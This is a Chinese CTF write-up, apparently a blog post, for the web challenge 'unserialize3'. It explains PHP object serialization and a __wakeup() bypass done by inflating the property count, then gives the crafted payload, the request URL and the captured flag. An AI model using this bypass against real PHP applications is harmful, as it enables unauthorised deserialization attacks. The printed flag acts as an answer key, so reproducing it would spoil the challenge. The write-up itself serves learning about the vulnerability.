首页 > 其他分享 >WP CTF-Web 攻防世界 GFSJ0235 unserialize3

WP CTF-Web 攻防世界 GFSJ0235 unserialize3

时间:2023-06-26 23:12:33浏览次数:52  
标签:Web php GFSJ0235 unserialize3 flag 字符串 序列化 xctf 属性

「场景」

进入场景:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

「思路」

根据题目提示——反序列化
已知PHP在进行反序列化前,会检查是否存在__wakeup函数,若存在,则先调用该函数.

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

改写场景提供的php,使用在线php运行环境执行:https://c.runoob.com/compile/1/

<?php
class xctf{
	public $flag = '111';
	public function __wakeup(){
		exit('bad requests');
	}
}
$a=new xctf();
echo(serialize($a));
?>

代码说明:

  • $a=new xctf(); 创建一个新的xctf对象,赋给$a
  • echo(serialize($a)); 打印$a序列化后的字符串

运行结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

Tips:
序列化字符串格式:变量类型:变量长度:变量内容
如果序列化的是一个对象,序列化字符串格式为:
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

故,上述php序列化的结果:
O 变量类型
4 类名长度(flag,4个字符)
"xctf" 类名
1 属性数量

此处涉及一个新知识:只要序列化的成员数大于实际成员数,即可绕过。
所以将序列化字符串改为 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

现在我们有了可以绕过__wakeup方法的字符串,但是还缺少一个具体的php地址,因为直接将参数加在端口后是成功发送请求的。
一般默认页面为index.php,也可以通过扫描工具进行扫描,这里使用御剑得到具体请求地址。

使用这个字符串作为参数发起请求 http://61.147.171.105:54522/index.php?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}
得到flag:the answer is : cyberpeace{c14019ee77c0e1870b7f63ccfede03c9}

「工具」

「知识拓展」

参考资料:
https://www.python100.com/html/38250.html

标签:Web,php,GFSJ0235,unserialize3,flag,字符串,序列化,xctf,属性
From: https://www.cnblogs.com/stonechen/p/GFSJ0235.html

相关文章

  • 基于前端Vue后端.NetCore Web后台管理系统通用开本框架采用前后端分离技术
    基于前端Vue后端.NetCoreWeb后台管理系统通用开本框架采用前后端分离技术,前端使用vue2.6.0,后端使用.netcore3.1,支持跨平台、多租户、支持MySQLSQLServerOracle多数据库,模块化设计,高性能,高颜值,不管是个人学习还是企业做项目都非常适合 原创文章,转载请说明出处,资料来源:http://im......
  • Linux可视化管理-webmin工具
    环境:连接工具:tabby,操作系统:centos7.6.webmin介绍​ Webmin是功能强大的基于Web的Unix/linux系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理操作。除了各版本的linux以外还可用于:AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等系统安......
  • 176. Spring Boot WebSocket:汇总篇
     前言:       我们通过几节博客对于websocket有了一个基本的认识,本篇博客进行个汇总。说明:(1)编码中使用的SpringBoot版本是: 1.5.8;(2)使用WebSocket有两种方式: 第一种方式使用socketJS,第二种方式是使用H5的标准。实例中使用的是第二种方式;(3)源代码:源代码下载地址htt......
  • 175. Spring Boot WebSocket:单聊
    需求缘起:       在前面的文章中已经实现了群聊,这里也简单介绍下单聊。这里使用session.getId()中的id作为唯一的消息通道(这里我们称为通讯的频道号), session.getId()是一个递增的数字,从0开始,递增1,2,3… 实际中并不会使用这个id作为标识,这里只是为了讲解方便。效果展示:先看......
  • 172.Spring Boot WebSocket:编码分析
    前言:       在上一篇文章中讲到了WebSocket的原理,这节中我们先简单的编码分析下,这样有助于在之后的实战编码。说明:(1)编码中使用的SpringBoot版本是: 1.5.8;(2)使用WebSocket有两种方式:第一种方式使用socketJS,第二种方式是使用H5的标准。实例中使用的是第二种方式;(3)最后提......
  • 174. Spring Boot WebSocket:群聊-昵称
     需求缘起:       在上一篇文章已经可以群聊功能了,但是存在一个问题,就是无法显示消息是谁发送了,这样就会导致消息乱七八糟的无法解读。在这版文章中解决昵称显示的问题。效果展示: 悟空消息:   师傅消息:   八戒消息: (1)在连接的时候,让用户输入昵称  ......
  • webpack中plugins 和module 有什么不同
     在Webpack中,plugins和module是两个关键配置项,用于不同的目的。plugins:plugins是Webpack的插件系统,用于在打包过程中执行各种额外的任务和功能。插件可以用于优化、压缩、转换文件,以及执行其他自定义操作。它们可以在整个打包过程的不同阶段进行干预,从而扩展Webpack的......
  • WebRTC-STUN协议详解
    1、STUN协议概述STUN(SessionTraversalUtilitiesforNAT)NAT会话穿透工具,STUN是一个Client/Server协议,支持请求/响应类型、指示类型两种类型。STUN作为ICE(InteractiveConnectivityEstablishment,交互式连接建立)解决方案的一种工具使用,STUN协议本身没有穿透等能力,只是为穿透提供反......
  • 【HMS Core】web端网页应用集成账号服务,请求/oauth2/v3/token返回状态码403
    【问题描述】web端网页应用接入华为账号,请求/oauth2/v3/token返回状态码403请求代码:响应日志:【问题分析】这是由于跨域访问报错了,建议从服务器端调用token接口重试,不要把client_secret暴露到web端【解决方案】服务器端调用token接口参考链接:https://developer.huawei.com/consumer......
  • 自动化神器 Playwright 的 Web 自动化测试解决方案
    1.主流框架的认识 总结:由于Selenium在3.x和4.x两个版本的迭代中并没有发生多大的变化,因此Selenium一统天下的地位可能因新框架的出现而变得不那么稳固。后续的Cypress、TestCafe、Puppeteer被誉为后Selenium时代WebUI自动化的三驾马车。但是由于这三个框架都是基于JavaScr......